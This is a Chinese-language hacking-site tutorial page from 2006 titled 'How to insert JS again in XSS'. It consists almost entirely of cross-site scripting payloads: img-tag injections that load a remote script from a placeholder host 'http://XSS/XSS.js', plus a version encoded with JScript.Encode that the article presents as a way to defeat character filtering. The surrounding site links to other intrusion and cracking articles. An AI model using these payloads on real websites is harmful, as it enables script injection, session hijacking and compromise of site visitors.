黑客风云——风云网络
设为首页　加入收藏　我要投稿　网站地图
您现在的位置： 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 文章正文
[推荐]在XSS中如何再插JS
      荐  ★★★★★
在XSS中如何再插JS
文章整理发布：黑客风云 文章来源：www.05112.com 更新时间：2006-11-30
程序代码

<img src="javascript:try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}"></img>

字符过滤怎么办?用Encode加密后就无敌了~

未加密前：
程序代码

<img src='#' XSS="try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}" onerror="execScript(decodeURI(this.XSS),'Jscript.Encode');" >


加密后：
程序代码

<img src='#' XSS="#@~^bQAAAA==OMX`7lMP/{NK^Es+UYcm.nmY+As+s+xDcv/1DbwOBbIkRdD1xB4YO2=zzpjUzp?U N/vpNKmEs+ or(W[Xcl22 xN;4k^N`kbI81lDm4`nbP8XCcAAA==^#~@ " onerror="execScript(decodeURI(this.XSS),'Jscript.Encode');" >
文章录入：cainiaowang    责任编辑：cainiaowang 
  • 上一篇文章：

  • 下一篇文章：
    • 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    VIP 专 区
    抽根憋闷烟的心声
    学习网页制作的理由
    加入终身会员的理由!!!
    学习黑客编程的5大理由
    学习免杀的6大理由
    学习软件破解的理由
    会员账号开通查询
    常见问题解答
    汇款向导
    学员报名咨询
    最 新 热 门
    Vista+谷歌拼音输入法重现输入法04-06
    45种可以拿到Webshell的技巧04-02
    0起步接触黑客--实用价值相当高04-02
    普通文件的欺骗手法03-21
    黑客技术-ARP欺骗03-19
    跨站Script攻击和防范03-19
    超级兔子+WinRAR轻松破解收费加密03-16
    浏览器执行exe文件的探讨03-15
    菜鸟"搜"大量Web Shell的思路03-14
    轻松录制在线网络电视的方法03-14
    突破单位网管封杀QQ、MSN 端口的03-14
    菜鸟找漏洞—渗透网站的“反思”02-06
    相 关 文 章
  • CCTV的XSS跨站

  • 全面解析百度XSS跨站漏洞

  • js asp c# 防止sql注入

  • 完整的XSS wrom实现流程

  • JS脚本加密方法

  • 搜狐ajax hacking漏洞详解——XSS worm

  • XSS攻击Cookie欺骗中隐藏JavaScript执行

  • XSS攻击Cookie欺骗中隐藏JavaScript执行

  • 通杀动易2005的XSS攻击

  • 百度空间JS漏洞 用户被威胁删除数据

  • JS日记揭秘，售后服务五大文字陷阱

  • 一个品牌机JS的真实谎言

    • Copyright ＠2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案：冀06009886